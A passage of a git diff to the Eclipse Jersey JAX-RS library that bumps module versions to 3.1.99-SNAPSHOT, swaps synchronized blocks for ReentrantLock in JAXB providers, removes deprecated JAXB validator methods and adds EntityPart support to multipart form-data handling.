diff --git a/inject/hk2/pom.xml b/inject/hk2/pom.xml
index 84a04cf..d52eb5c 100644
--- a/inject/hk2/pom.xml
+++ b/inject/hk2/pom.xml
@@ -1,7 +1,7 @@
 <?xml version="1.0" encoding="UTF-8"?>
 <!--
 
-    Copyright (c) 2017, 2024 Oracle and/or its affiliates. All rights reserved.
+    Copyright (c) 2017, 2025 Oracle and/or its affiliates. All rights reserved.
 
     This program and the accompanying materials are made available under the
     terms of the Eclipse Public License v. 2.0, which is available at
@@ -23,7 +23,7 @@
     <parent>
         <groupId>org.glassfish.jersey.inject</groupId>
         <artifactId>project</artifactId>
-        <version>3.0.99-SNAPSHOT</version>
+        <version>3.1.99-SNAPSHOT</version>
     </parent>
 
     <artifactId>jersey-hk2</artifactId>
diff --git a/inject/pom.xml b/inject/pom.xml
index 1dec961..77575f2 100644
--- a/inject/pom.xml
+++ b/inject/pom.xml
@@ -1,7 +1,7 @@
 <?xml version="1.0" encoding="UTF-8"?>
 <!--
 
-    Copyright (c) 2017, 2024 Oracle and/or its affiliates. All rights reserved.
+    Copyright (c) 2017, 2025 Oracle and/or its affiliates. All rights reserved.
 
     This program and the accompanying materials are made available under the
     terms of the Eclipse Public License v. 2.0, which is available at
@@ -23,7 +23,7 @@
     <parent>
         <groupId>org.glassfish.jersey</groupId>
         <artifactId>project</artifactId>
-        <version>3.0.99-SNAPSHOT</version>
+        <version>3.1.99-SNAPSHOT</version>
     </parent>
 
     <groupId>org.glassfish.jersey.inject</groupId>
diff --git a/media/jaxb/pom.xml b/media/jaxb/pom.xml
index 484d0a4..35804fd 100644
--- a/media/jaxb/pom.xml
+++ b/media/jaxb/pom.xml
@@ -23,7 +23,7 @@
     <parent>
         <groupId>org.glassfish.jersey.media</groupId>
         <artifactId>project</artifactId>
-        <version>3.0.99-SNAPSHOT</version>
+        <version>3.1.99-SNAPSHOT</version>
     </parent>
 
     <artifactId>jersey-media-jaxb</artifactId>
diff --git a/media/jaxb/src/main/java/org/glassfish/jersey/jaxb/internal/AbstractJaxbProvider.java b/media/jaxb/src/main/java/org/glassfish/jersey/jaxb/internal/AbstractJaxbProvider.java
index 49e954f..493f8b7 100644
--- a/media/jaxb/src/main/java/org/glassfish/jersey/jaxb/internal/AbstractJaxbProvider.java
+++ b/media/jaxb/src/main/java/org/glassfish/jersey/jaxb/internal/AbstractJaxbProvider.java
@@ -21,6 +21,8 @@
 import java.lang.ref.WeakReference;
 import java.util.Map;
 import java.util.WeakHashMap;
+import java.util.concurrent.locks.Lock;
+import java.util.concurrent.locks.ReentrantLock;
 import java.util.logging.Level;
 import java.util.logging.Logger;
 
@@ -57,6 +59,7 @@
 
     private static final Map<Class<?>, WeakReference<JAXBContext>> jaxbContexts =
             new WeakHashMap<Class<?>, WeakReference<JAXBContext>>();
+    private static final Lock jaxbContextsLock = new ReentrantLock();
     private final Providers jaxrsProviders;
     private final boolean fixedResolverMediaType;
     private final Value<ContextResolver<JAXBContext>> mtContext;
@@ -149,7 +152,7 @@
     /**
      * Get the JAXB unmarshaller for the given class and media type.
      * <p>
-     * In case this provider instance has been {@link #AbstractJaxbProvider(Providers, MediaType)
+     * In case this provider instance has been {@link AbstractJaxbProvider(Providers, MediaType)
      * created with a fixed resolver media type}, the supplied media type argument will be ignored.
      * </p>
      *
@@ -192,7 +195,7 @@
     /**
      * Get the JAXB marshaller for the given class and media type.
      * <p>
-     * In case this provider instance has been {@link #AbstractJaxbProvider(Providers, MediaType)
+     * In case this provider instance has been {@link AbstractJaxbProvider(Providers, MediaType)
      * created with a fixed resolver media type}, the supplied media type argument will be ignored.
      * </p>
      *
@@ -280,7 +283,8 @@
      * @throws JAXBException in case the JAXB context retrieval fails.
      */
     protected JAXBContext getStoredJaxbContext(Class type) throws JAXBException {
-        synchronized (jaxbContexts) {
+        jaxbContextsLock.lock();
+        try {
             final WeakReference<JAXBContext> ref = jaxbContexts.get(type);
             JAXBContext c = (ref != null) ? ref.get() : null;
             if (c == null) {
@@ -288,6 +292,8 @@
                 jaxbContexts.put(type, new WeakReference<JAXBContext>(c));
             }
             return c;
+        } finally {
+            jaxbContextsLock.unlock();
         }
     }
 
diff --git a/media/jaxb/src/main/java/org/glassfish/jersey/jaxb/internal/JaxbStringReaderProvider.java b/media/jaxb/src/main/java/org/glassfish/jersey/jaxb/internal/JaxbStringReaderProvider.java
index e7e399d..7065c43 100644
--- a/media/jaxb/src/main/java/org/glassfish/jersey/jaxb/internal/JaxbStringReaderProvider.java
+++ b/media/jaxb/src/main/java/org/glassfish/jersey/jaxb/internal/JaxbStringReaderProvider.java
@@ -1,5 +1,5 @@
 /*
- * Copyright (c) 2010, 2020 Oracle and/or its affiliates. All rights reserved.
+ * Copyright (c) 2010, 2024 Oracle and/or its affiliates. All rights reserved.
  *
  * This program and the accompanying materials are made available under the
  * terms of the Eclipse Public License v. 2.0, which is available at
@@ -20,6 +20,8 @@
 import java.lang.reflect.Type;
 import java.util.Map;
 import java.util.WeakHashMap;
+import java.util.concurrent.locks.Lock;
+import java.util.concurrent.locks.ReentrantLock;
 
 import jakarta.ws.rs.ProcessingException;
 import jakarta.ws.rs.core.Context;
@@ -54,6 +56,7 @@
 public class JaxbStringReaderProvider {
 
     private static final Map<Class, JAXBContext> jaxbContexts = new WeakHashMap<Class, JAXBContext>();
+    private static final Lock jaxbContextsLock = new ReentrantLock();
     private final Value<ContextResolver<JAXBContext>> mtContext;
     private final Value<ContextResolver<Unmarshaller>> mtUnmarshaller;
 
@@ -116,13 +119,16 @@
      * @throws JAXBException in case JAXB context retrieval fails.
      */
     protected JAXBContext getStoredJAXBContext(Class type) throws JAXBException {
-        synchronized (jaxbContexts) {
+        jaxbContextsLock.lock();
+        try {
             JAXBContext c = jaxbContexts.get(type);
             if (c == null) {
                 c = JAXBContext.newInstance(type);
                 jaxbContexts.put(type, c);
             }
             return c;
+        } finally {
+            jaxbContextsLock.unlock();
         }
     }
 
diff --git a/media/json-binding/pom.xml b/media/json-binding/pom.xml
index 53de4a8..538dfa2 100644
--- a/media/json-binding/pom.xml
+++ b/media/json-binding/pom.xml
@@ -1,7 +1,7 @@
 <?xml version="1.0" encoding="UTF-8"?>
 <!--
 
-    Copyright (c) 2017, 2024 Oracle and/or its affiliates. All rights reserved.
+    Copyright (c) 2017, 2025 Oracle and/or its affiliates. All rights reserved.
 
     This program and the accompanying materials are made available under the
     terms of the Eclipse Public License v. 2.0, which is available at
@@ -23,7 +23,7 @@
     <parent>
         <groupId>org.glassfish.jersey.media</groupId>
         <artifactId>project</artifactId>
-        <version>3.0.99-SNAPSHOT</version>
+        <version>3.1.99-SNAPSHOT</version>
     </parent>
 
     <artifactId>jersey-media-json-binding</artifactId>
@@ -98,6 +98,10 @@
                     <groupId>org.glassfish</groupId>
                     <artifactId>jakarta.json</artifactId>
                 </exclusion>
+                <exclusion>
+                    <groupId>org.eclipse.parsson</groupId>
+                    <artifactId>parsson</artifactId>
+                </exclusion>
             </exclusions>
         </dependency>
 
diff --git a/media/json-gson/pom.xml b/media/json-gson/pom.xml
index a57df78..8e37d39 100644
--- a/media/json-gson/pom.xml
+++ b/media/json-gson/pom.xml
@@ -1,7 +1,7 @@
 <?xml version="1.0" encoding="UTF-8"?>
 <!--
 
-    Copyright (c) 2022, 2024 Oracle and/or its affiliates. All rights reserved.
+    Copyright (c) 2022, 2025 Oracle and/or its affiliates. All rights reserved.
 
     This program and the accompanying materials are made available under the
     terms of the Eclipse Public License v. 2.0, which is available at
@@ -23,7 +23,7 @@
     <parent>
         <groupId>org.glassfish.jersey.media</groupId>
         <artifactId>project</artifactId>
-        <version>3.0.99-SNAPSHOT</version>
+        <version>3.1.99-SNAPSHOT</version>
     </parent>
 
     <artifactId>jersey-media-json-gson</artifactId>
diff --git a/media/json-jackson/pom.xml b/media/json-jackson/pom.xml
index cb27c7f..ed93813 100644
--- a/media/json-jackson/pom.xml
+++ b/media/json-jackson/pom.xml
@@ -1,7 +1,7 @@
 <?xml version="1.0" encoding="UTF-8"?>
 <!--
 
-    Copyright (c) 2012, 2024 Oracle and/or its affiliates. All rights reserved.
+    Copyright (c) 2012, 2025 Oracle and/or its affiliates. All rights reserved.
 
     This program and the accompanying materials are made available under the
     terms of the Eclipse Public License v. 2.0, which is available at
@@ -23,7 +23,7 @@
     <parent>
         <groupId>org.glassfish.jersey.media</groupId>
         <artifactId>project</artifactId>
-        <version>3.0.99-SNAPSHOT</version>
+        <version>3.1.99-SNAPSHOT</version>
     </parent>
 
     <artifactId>jersey-media-json-jackson</artifactId>
diff --git a/media/json-jackson/src/main/java/org/glassfish/jersey/jackson/internal/DefaultJacksonJaxbJsonProvider.java b/media/json-jackson/src/main/java/org/glassfish/jersey/jackson/internal/DefaultJacksonJaxbJsonProvider.java
index 0b9222c..4defc70 100644
--- a/media/json-jackson/src/main/java/org/glassfish/jersey/jackson/internal/DefaultJacksonJaxbJsonProvider.java
+++ b/media/json-jackson/src/main/java/org/glassfish/jersey/jackson/internal/DefaultJacksonJaxbJsonProvider.java
@@ -1,5 +1,5 @@
 /*
- * Copyright (c) 2020, 2024 Oracle and/or its affiliates. All rights reserved.
+ * Copyright (c) 2020, 2025 Oracle and/or its affiliates. All rights reserved.
  *
  * This program and the accompanying materials are made available under the
  * terms of the Eclipse Public License v. 2.0, which is available at
@@ -50,6 +50,7 @@
 public class DefaultJacksonJaxbJsonProvider extends JacksonJaxbJsonProvider {
     private Configuration commonConfig;
     private static final Logger LOGGER = Logger.getLogger(DefaultJacksonJaxbJsonProvider.class.getName());
+    private final boolean hasConfig;
 
     @Inject
     public DefaultJacksonJaxbJsonProvider(@Context Providers providers, @Context Configuration config) {
@@ -64,10 +65,18 @@
         this.commonConfig = config;
         _providers = providers;
 
-        Object jaxrsFeatureBag = config.getProperty(JaxrsFeatureBag.JAXRS_FEATURE);
-        if (jaxrsFeatureBag != null && (JaxrsFeatureBag.class.isInstance(jaxrsFeatureBag))) {
-            ((JaxrsFeatureBag) jaxrsFeatureBag).configureJaxrsFeatures(this);
+        boolean ex = true;
+        try {
+            Object jaxrsFeatureBag = config.getProperty(JaxrsFeatureBag.JAXRS_FEATURE);
+            if (jaxrsFeatureBag != null && (JaxrsFeatureBag.class.isInstance(jaxrsFeatureBag))) {
+                ((JaxrsFeatureBag) jaxrsFeatureBag).configureJaxrsFeatures(this);
+            }
+        } catch (RuntimeException e) {
+            // ignore - not configured
+            LOGGER.fine(LocalizationMessages.ERROR_CONFIGURING(e.getMessage()));
+            ex = false;
         }
+        hasConfig = ex;
     }
 
     @Override
@@ -82,7 +91,9 @@
     @Override
     protected JsonEndpointConfig _configForReading(ObjectReader reader, Annotation[] annotations) {
         try {
-            updateFactoryConstraints(reader.getFactory());
+            if (hasConfig) {
+                updateFactoryConstraints(reader.getFactory());
+            }
         } catch (Throwable t) {
             // A Jackson 14 would throw NoSuchMethodError, ClassNotFoundException, NoClassDefFoundError or similar
             // that should have been ignored
diff --git a/media/json-jackson/src/main/resources/org/glassfish/jersey/jackson/localization.properties b/media/json-jackson/src/main/resources/org/glassfish/jersey/jackson/localization.properties
index 1943306..1c66b9c 100644
--- a/media/json-jackson/src/main/resources/org/glassfish/jersey/jackson/localization.properties
+++ b/media/json-jackson/src/main/resources/org/glassfish/jersey/jackson/localization.properties
@@ -1,5 +1,5 @@
 #
-# Copyright (c) 2023, 2024 Oracle and/or its affiliates. All rights reserved.
+# Copyright (c) 2023, 2025 Oracle and/or its affiliates. All rights reserved.
 #
 # This program and the accompanying materials are made available under the
 # terms of the Eclipse Public License v. 2.0, which is available at
@@ -13,6 +13,7 @@
 #
 # SPDX-License-Identifier: EPL-2.0 OR GPL-2.0 WITH Classpath-exception-2.0
 #
+error.configuring=Error configuring the DefaultJacksonJaxbJsonProvider: {0}.
 error.jackson.streamreadconstraints=Error setting StreamReadConstraints: {0}. Possibly not Jackson 2.15?
 error.jackson.streamreadconstraints218=Error setting StreamReadConstraints: {0}. Possibly not Jackson 2.18?
 error.modules.not.loaded=Jackson modules could not be loaded: {0}
\ No newline at end of file
diff --git a/media/json-jettison/pom.xml b/media/json-jettison/pom.xml
index 30e074b..7330d35 100644
--- a/media/json-jettison/pom.xml
+++ b/media/json-jettison/pom.xml
@@ -1,7 +1,7 @@
 <?xml version="1.0" encoding="UTF-8"?>
 <!--
 
-    Copyright (c) 2012, 2024 Oracle and/or its affiliates. All rights reserved.
+    Copyright (c) 2012, 2025 Oracle and/or its affiliates. All rights reserved.
 
     This program and the accompanying materials are made available under the
     terms of the Eclipse Public License v. 2.0, which is available at
@@ -23,7 +23,7 @@
     <parent>
         <groupId>org.glassfish.jersey.media</groupId>
         <artifactId>project</artifactId>
-        <version>3.0.99-SNAPSHOT</version>
+        <version>3.1.99-SNAPSHOT</version>
     </parent>
 
     <artifactId>jersey-media-json-jettison</artifactId>
@@ -53,7 +53,14 @@
                 <extensions>true</extensions>
                 <configuration>
                     <instructions>
+                        <!-- Explicitly set versions for packages from GlassFish to allow future uptake of GlassFish 7.x-->
+                        <Import-Package>
+                            jakarta.xml.bind.*;version="[3.0,5)",
+                            *
+                        </Import-Package>
+                    
                         <Export-Package>org.glassfish.jersey.jettison.*</Export-Package>
+                        
                         <!--<Import-Package>
                             com.sun.xml.bind.annotation;resolution:=optional,com.sun.xml.bind.v2.*;resolution:=optional, *
                         </Import-Package>-->
diff --git a/media/json-jettison/src/main/java/org/glassfish/jersey/jettison/JettisonJaxbContext.java b/media/json-jettison/src/main/java/org/glassfish/jersey/jettison/JettisonJaxbContext.java
index f76ab53..6d6b039 100644
--- a/media/json-jettison/src/main/java/org/glassfish/jersey/jettison/JettisonJaxbContext.java
+++ b/media/json-jettison/src/main/java/org/glassfish/jersey/jettison/JettisonJaxbContext.java
@@ -1,5 +1,5 @@
 /*
- * Copyright (c) 2010, 2020 Oracle and/or its affiliates. All rights reserved.
+ * Copyright (c) 2010, 2022 Oracle and/or its affiliates. All rights reserved.
  *
  * This program and the accompanying materials are made available under the
  * terms of the Eclipse Public License v. 2.0, which is available at
@@ -22,7 +22,6 @@
 import jakarta.xml.bind.JAXBException;
 import jakarta.xml.bind.Marshaller;
 import jakarta.xml.bind.Unmarshaller;
-import jakarta.xml.bind.Validator;
 
 import org.glassfish.jersey.jettison.internal.BaseJsonMarshaller;
 import org.glassfish.jersey.jettison.internal.BaseJsonUnmarshaller;
@@ -300,15 +299,4 @@
     public Marshaller createMarshaller() throws JAXBException {
         return new JettisonJaxbMarshaller(jaxbContext, getJSONConfiguration());
     }
-
-    /**
-     * Simply delegates to underlying JAXBContext implementation.
-     *
-     * @return what underlying JAXBContext returns
-     * @throws jakarta.xml.bind.JAXBException
-     */
-    @Override
-    public Validator createValidator() throws JAXBException {
-        return jaxbContext.createValidator();
-    }
 }
diff --git a/media/json-jettison/src/main/java/org/glassfish/jersey/jettison/internal/JettisonJaxbMarshaller.java b/media/json-jettison/src/main/java/org/glassfish/jersey/jettison/internal/JettisonJaxbMarshaller.java
index cd78fc9..4603572 100644
--- a/media/json-jettison/src/main/java/org/glassfish/jersey/jettison/internal/JettisonJaxbMarshaller.java
+++ b/media/json-jettison/src/main/java/org/glassfish/jersey/jettison/internal/JettisonJaxbMarshaller.java
@@ -1,5 +1,5 @@
 /*
- * Copyright (c) 2010, 2020 Oracle and/or its affiliates. All rights reserved.
+ * Copyright (c) 2010, 2022 Oracle and/or its affiliates. All rights reserved.
  *
  * This program and the accompanying materials are made available under the
  * terms of the Eclipse Public License v. 2.0, which is available at
@@ -128,17 +128,17 @@
     }
 
     @Override
-    public void setAdapter(XmlAdapter adapter) {
+    public <A extends XmlAdapter<?, ?>> void setAdapter(A adapter) {
         jaxbMarshaller.setAdapter(adapter);
     }
 
     @Override
-    public <A extends XmlAdapter> void setAdapter(Class<A> type, A adapter) {
+    public <A extends XmlAdapter<?, ?>> void setAdapter(Class<A> type, A adapter) {
         jaxbMarshaller.setAdapter(type, adapter);
     }
 
     @Override
-    public <A extends XmlAdapter> A getAdapter(Class<A> type) {
+    public <A extends XmlAdapter<?, ?>> A getAdapter(Class<A> type) {
         return jaxbMarshaller.getAdapter(type);
     }
 
diff --git a/media/json-jettison/src/main/java/org/glassfish/jersey/jettison/internal/JettisonJaxbUnmarshaller.java b/media/json-jettison/src/main/java/org/glassfish/jersey/jettison/internal/JettisonJaxbUnmarshaller.java
index 3d24d50..377e37a 100644
--- a/media/json-jettison/src/main/java/org/glassfish/jersey/jettison/internal/JettisonJaxbUnmarshaller.java
+++ b/media/json-jettison/src/main/java/org/glassfish/jersey/jettison/internal/JettisonJaxbUnmarshaller.java
@@ -1,5 +1,5 @@
 /*
- * Copyright (c) 2010, 2020 Oracle and/or its affiliates. All rights reserved.
+ * Copyright (c) 2010, 2022 Oracle and/or its affiliates. All rights reserved.
  *
  * This program and the accompanying materials are made available under the
  * terms of the Eclipse Public License v. 2.0, which is available at
@@ -123,16 +123,6 @@
     }
 
     @Override
-    public void setValidating(boolean validating) throws JAXBException {
-        this.jaxbUnmarshaller.setValidating(validating);
-    }
-
-    @Override
-    public boolean isValidating() throws JAXBException {
-        return this.jaxbUnmarshaller.isValidating();
-    }
-
-    @Override
     public void setEventHandler(ValidationEventHandler validationEventHandler) throws JAXBException {
         this.jaxbUnmarshaller.setEventHandler(validationEventHandler);
     }
@@ -163,17 +153,17 @@
     }
 
     @Override
-    public void setAdapter(XmlAdapter xmlAdapter) {
+    public <A extends XmlAdapter<?, ?>> void setAdapter(A xmlAdapter) {
         this.jaxbUnmarshaller.setAdapter(xmlAdapter);
     }
 
     @Override
-    public <A extends XmlAdapter> void setAdapter(Class<A> type, A adapter) {
+    public <A extends XmlAdapter<?, ?>> void setAdapter(Class<A> type, A adapter) {
         this.jaxbUnmarshaller.setAdapter(type, adapter);
     }
 
     @Override
-    public <A extends XmlAdapter> A getAdapter(Class<A> type) {
+    public <A extends XmlAdapter<?, ?>> A getAdapter(Class<A> type) {
         return this.jaxbUnmarshaller.getAdapter(type);
     }
 
diff --git a/media/json-processing/pom.xml b/media/json-processing/pom.xml
index aa851ad..c5e21cf 100644
--- a/media/json-processing/pom.xml
+++ b/media/json-processing/pom.xml
@@ -1,7 +1,7 @@
 <?xml version="1.0" encoding="UTF-8"?>
 <!--
 
-    Copyright (c) 2011, 2024 Oracle and/or its affiliates. All rights reserved.
+    Copyright (c) 2011, 2025 Oracle and/or its affiliates. All rights reserved.
 
     This program and the accompanying materials are made available under the
     terms of the Eclipse Public License v. 2.0, which is available at
@@ -23,7 +23,7 @@
     <parent>
         <groupId>org.glassfish.jersey.media</groupId>
         <artifactId>project</artifactId>
-        <version>3.0.99-SNAPSHOT</version>
+        <version>3.1.99-SNAPSHOT</version>
     </parent>
 
     <artifactId>jersey-media-json-processing</artifactId>
diff --git a/media/json-processing/src/main/java/org/glassfish/jersey/jsonp/JsonProcessingFeature.java b/media/json-processing/src/main/java/org/glassfish/jersey/jsonp/JsonProcessingFeature.java
index aa3e96c..f25f8b6 100644
--- a/media/json-processing/src/main/java/org/glassfish/jersey/jsonp/JsonProcessingFeature.java
+++ b/media/json-processing/src/main/java/org/glassfish/jersey/jsonp/JsonProcessingFeature.java
@@ -25,6 +25,7 @@
 
 import org.glassfish.jersey.CommonProperties;
 
+
 /**
  * {@link Feature} used to register JSON-P providers.
  *
diff --git a/media/moxy/pom.xml b/media/moxy/pom.xml
index 5ae722e..364a03b 100644
--- a/media/moxy/pom.xml
+++ b/media/moxy/pom.xml
@@ -1,7 +1,7 @@
 <?xml version="1.0" encoding="UTF-8"?>
 <!--
 
-    Copyright (c) 2012, 2024 Oracle and/or its affiliates. All rights reserved.
+    Copyright (c) 2012, 2025 Oracle and/or its affiliates. All rights reserved.
 
     This program and the accompanying materials are made available under the
     terms of the Eclipse Public License v. 2.0, which is available at
@@ -23,7 +23,7 @@
     <parent>
         <groupId>org.glassfish.jersey.media</groupId>
         <artifactId>project</artifactId>
-        <version>3.0.99-SNAPSHOT</version>
+        <version>3.1.99-SNAPSHOT</version>
     </parent>
 
     <artifactId>jersey-media-moxy</artifactId>
@@ -89,6 +89,16 @@
             <groupId>org.eclipse.parsson</groupId>
             <artifactId>parsson</artifactId>
         </dependency>
+        <dependency>
+            <groupId>org.ow2.asm</groupId>
+            <artifactId>asm</artifactId>
+            <version>${asm.version}</version>
+        </dependency>
+
+        <dependency>
+            <groupId>jakarta.xml.bind</groupId>
+            <artifactId>jakarta.xml.bind-api</artifactId>
+        </dependency>
 
         <dependency>
             <groupId>org.eclipse.persistence</groupId>
@@ -98,6 +108,18 @@
                     <groupId>jakarta.json.bind</groupId>
                     <artifactId>jakarta.json.bind-api</artifactId>
                 </exclusion>
+                <exclusion>
+                    <groupId>org.eclipse.angus</groupId>
+                    <artifactId>angus-activation</artifactId>
+                </exclusion>
+                <exclusion>
+                    <groupId>jakarta.xml.bind</groupId>
+                    <artifactId>jakarta.xml.bind-api</artifactId>
+                </exclusion>
+                <exclusion>
+                    <groupId>jakarta.activation</groupId>
+                    <artifactId>jakarta.activation-api</artifactId>
+                </exclusion>
             </exclusions>
         </dependency>
 
diff --git a/media/multipart/pom.xml b/media/multipart/pom.xml
index ffda4d0..46a1ca2 100644
--- a/media/multipart/pom.xml
+++ b/media/multipart/pom.xml
@@ -1,7 +1,7 @@
 <?xml version="1.0" encoding="UTF-8"?>
 <!--
 
-    Copyright (c) 2012, 2024 Oracle and/or its affiliates. All rights reserved.
+    Copyright (c) 2012, 2025 Oracle and/or its affiliates. All rights reserved.
 
     This program and the accompanying materials are made available under the
     terms of the Eclipse Public License v. 2.0, which is available at
@@ -23,7 +23,7 @@
     <parent>
         <groupId>org.glassfish.jersey.media</groupId>
         <artifactId>project</artifactId>
-        <version>3.0.99-SNAPSHOT</version>
+        <version>3.1.99-SNAPSHOT</version>
     </parent>
 
     <artifactId>jersey-media-multipart</artifactId>
@@ -92,7 +92,12 @@
             <version>${project.version}</version>
             <scope>test</scope>
         </dependency>
-
+        <dependency>
+            <groupId>org.glassfish.jersey.media</groupId>
+            <artifactId>jersey-media-json-processing</artifactId>
+            <version>${project.version}</version>
+            <scope>test</scope>
+        </dependency>
         <dependency>
             <groupId>org.junit.jupiter</groupId>
             <artifactId>junit-jupiter</artifactId>
@@ -104,13 +109,14 @@
         <profile>
             <id>JettyExclude</id>
             <activation>
-                <jdk>1.8</jdk>
+                <jdk>[11,17)</jdk>
             </activation>
             <build>
                 <plugins>
                     <plugin>
                         <groupId>org.apache.maven.plugins</groupId>
                         <artifactId>maven-compiler-plugin</artifactId>
+                        <inherited>true</inherited>
                         <configuration>
                             <testExcludes>
                                 <testExclude>org/glassfish/jersey/media/multipart/internal/MultiPartHeaderModificationTest.java</testExclude>
@@ -123,7 +129,7 @@
         <profile>
             <id>Jetty11</id>
             <activation>
-                <jdk>[11,)</jdk>
+                <jdk>[17,)</jdk>
             </activation>
             <dependencies>
                 <dependency>
@@ -135,5 +141,4 @@
             </dependencies>
         </profile>
     </profiles>
-
 </project>
diff --git a/media/multipart/src/main/java/org/glassfish/jersey/media/multipart/BodyPart.java b/media/multipart/src/main/java/org/glassfish/jersey/media/multipart/BodyPart.java
index 0e20e25..d672e1c 100644
--- a/media/multipart/src/main/java/org/glassfish/jersey/media/multipart/BodyPart.java
+++ b/media/multipart/src/main/java/org/glassfish/jersey/media/multipart/BodyPart.java
@@ -1,5 +1,5 @@
 /*
- * Copyright (c) 2012, 2020 Oracle and/or its affiliates. All rights reserved.
+ * Copyright (c) 2012, 2024 Oracle and/or its affiliates. All rights reserved.
  *
  * This program and the accompanying materials are made available under the
  * terms of the Eclipse Public License v. 2.0, which is available at
@@ -16,16 +16,22 @@
 
 package org.glassfish.jersey.media.multipart;
 
+import java.io.ByteArrayInputStream;
 import java.io.IOException;
+import java.io.InputStream;
 import java.lang.annotation.Annotation;
+import java.lang.reflect.Type;
 import java.text.ParseException;
+import java.util.Arrays;
 
 import jakarta.ws.rs.ProcessingException;
+import jakarta.ws.rs.core.GenericType;
 import jakarta.ws.rs.core.MediaType;
 import jakarta.ws.rs.core.MultivaluedMap;
 import jakarta.ws.rs.ext.MessageBodyReader;
 import jakarta.ws.rs.ext.Providers;
 
+import org.glassfish.jersey.innate.spi.MessageBodyWorkersSettable;
 import org.glassfish.jersey.internal.util.collection.ImmutableMultivaluedMap;
 import org.glassfish.jersey.media.multipart.internal.LocalizationMessages;
 import org.glassfish.jersey.message.MessageBodyWorkers;
@@ -39,7 +45,7 @@
  * @author Paul Sandoz
  * @author Michal Gajdos
  */
-public class BodyPart {
+public class BodyPart implements MessageBodyWorkersSettable {
 
     protected ContentDisposition contentDisposition = null;
 
@@ -263,21 +269,49 @@
      * entity instance is not the unconverted content of the body part entity.
      */
     public <T> T getEntityAs(final Class<T> clazz) {
-        if (entity == null || !(entity instanceof BodyPartEntity)) {
+        return getEntityAs(clazz, clazz);
+    }
+
+    /**
+     * Returns the entity after appropriate conversion to the requested type. This is useful only when the containing
+     * {@link MultiPart} instance has been received, which causes the {@code providers} property to have been set.
+     *
+     * @param genericEntity desired entity type into which the entity should be converted.
+     * @return entity after appropriate conversion to the requested type.
+     *
+     * @throws ProcessingException if an IO error arises during reading an entity.
+     * @throws IllegalArgumentException if no {@link MessageBodyReader} can be found to perform the requested conversion.
+     * @throws IllegalStateException if this method is called when the {@code providers} property has not been set or when the
+     * entity instance is not the unconverted content of the body part entity.
+     */
+    <T> T getEntityAs(final GenericType<T> genericEntity) {
+        return (T) getEntityAs(genericEntity.getRawType(), genericEntity.getType());
+    }
+
+    <T> T getEntityAs(final Class<T> type, Type genericType) {
+        InputStream inputStream = null;
+        if (BodyPartEntity.class.isInstance(entity)) {
+            inputStream = ((BodyPartEntity) entity).getInputStream();
+        } else if (InputStream.class.isInstance(entity)) {
+            inputStream = (InputStream) entity;
+        } else if (byte[].class.isInstance(entity)) {
+            inputStream = new ByteArrayInputStream((byte[]) entity);
+        }
+        if (inputStream == null) {
             throw new IllegalStateException(LocalizationMessages.ENTITY_HAS_WRONG_TYPE());
         }
-        if (clazz == BodyPartEntity.class) {
-            return clazz.cast(entity);
+        if (type == BodyPartEntity.class) {
+            return type.cast(entity);
         }
 
         final Annotation[] annotations = new Annotation[0];
-        final MessageBodyReader<T> reader = messageBodyWorkers.getMessageBodyReader(clazz, clazz, annotations, mediaType);
+        final MessageBodyReader<T> reader = messageBodyWorkers.getMessageBodyReader(type, genericType, annotations, mediaType);
         if (reader == null) {
-            throw new IllegalArgumentException(LocalizationMessages.NO_AVAILABLE_MBR(clazz, mediaType));
+            throw new IllegalArgumentException(LocalizationMessages.NO_AVAILABLE_MBR(type, mediaType));
         }
 
         try {
-            return reader.readFrom(clazz, clazz, annotations, mediaType, headers, ((BodyPartEntity) entity).getInputStream());
+            return reader.readFrom(type, genericType, annotations, mediaType, headers, inputStream);
         } catch (final IOException ioe) {
             throw new ProcessingException(LocalizationMessages.ERROR_READING_ENTITY(String.class), ioe);
         }
diff --git a/media/multipart/src/main/java/org/glassfish/jersey/media/multipart/ContentDisposition.java b/media/multipart/src/main/java/org/glassfish/jersey/media/multipart/ContentDisposition.java
index 6d77453..f6c7165 100644
--- a/media/multipart/src/main/java/org/glassfish/jersey/media/multipart/ContentDisposition.java
+++ b/media/multipart/src/main/java/org/glassfish/jersey/media/multipart/ContentDisposition.java
@@ -202,7 +202,9 @@
 
     protected void addDateParameter(final StringBuilder sb, final String name, final Date p) {
         if (p != null) {
-            sb.append("; ").append(name).append("=\"").append(HttpDateFormat.getPreferredDateFormat().format(p)).append("\"");
+            sb.append("; ").append(name).append("=\"")
+                    .append(HttpDateFormat.getPreferredDateFormatter().format(p))
+                    .append("\"");
         }
     }
 
@@ -302,7 +304,7 @@
         if (value == null) {
             return null;
         }
-        return HttpDateFormat.getPreferredDateFormat().parse(value);
+        return HttpDateFormat.getPreferredDateFormatter().toDate(value);
     }
 
     private long createLong(final String name) throws ParseException {
diff --git a/media/multipart/src/main/java/org/glassfish/jersey/media/multipart/FormDataBodyPart.java b/media/multipart/src/main/java/org/glassfish/jersey/media/multipart/FormDataBodyPart.java
index 2380c44..802cc02 100644
--- a/media/multipart/src/main/java/org/glassfish/jersey/media/multipart/FormDataBodyPart.java
+++ b/media/multipart/src/main/java/org/glassfish/jersey/media/multipart/FormDataBodyPart.java
@@ -1,5 +1,5 @@
 /*
- * Copyright (c) 2012, 2020 Oracle and/or its affiliates. All rights reserved.
+ * Copyright (c) 2012, 2021 Oracle and/or its affiliates. All rights reserved.
  *
  * This program and the accompanying materials are made available under the
  * terms of the Eclipse Public License v. 2.0, which is available at
@@ -16,9 +16,14 @@
 
 package org.glassfish.jersey.media.multipart;
 
+import java.io.InputStream;
 import java.text.ParseException;
+import java.util.Optional;
+import java.util.concurrent.atomic.AtomicBoolean;
 
 import jakarta.ws.rs.ProcessingException;
+import jakarta.ws.rs.core.EntityPart;
+import jakarta.ws.rs.core.GenericType;
 import jakarta.ws.rs.core.MediaType;
 
 import org.glassfish.jersey.media.multipart.internal.LocalizationMessages;
@@ -59,9 +64,10 @@
  * @author Paul Sandoz
  * @author Michal Gajdos
  */
-public class FormDataBodyPart extends BodyPart {
+public class FormDataBodyPart extends BodyPart implements EntityPart {
 
     private final boolean fileNameFix;
+    protected final AtomicBoolean contentRead = new AtomicBoolean(false);
 
     /**
      * Instantiates an unnamed new {@link FormDataBodyPart} with a
@@ -231,6 +237,34 @@
         return formDataContentDisposition.getName();
     }
 
+    @Override
+    public Optional<String> getFileName() {
+        return Optional.ofNullable(getFormDataContentDisposition().getFileName());
+    }
+
+    @Override
+    public InputStream getContent() {
+        return getContent(InputStream.class);
+    }
+
+    @Override
+    public <T> T getContent(Class<T> type) {
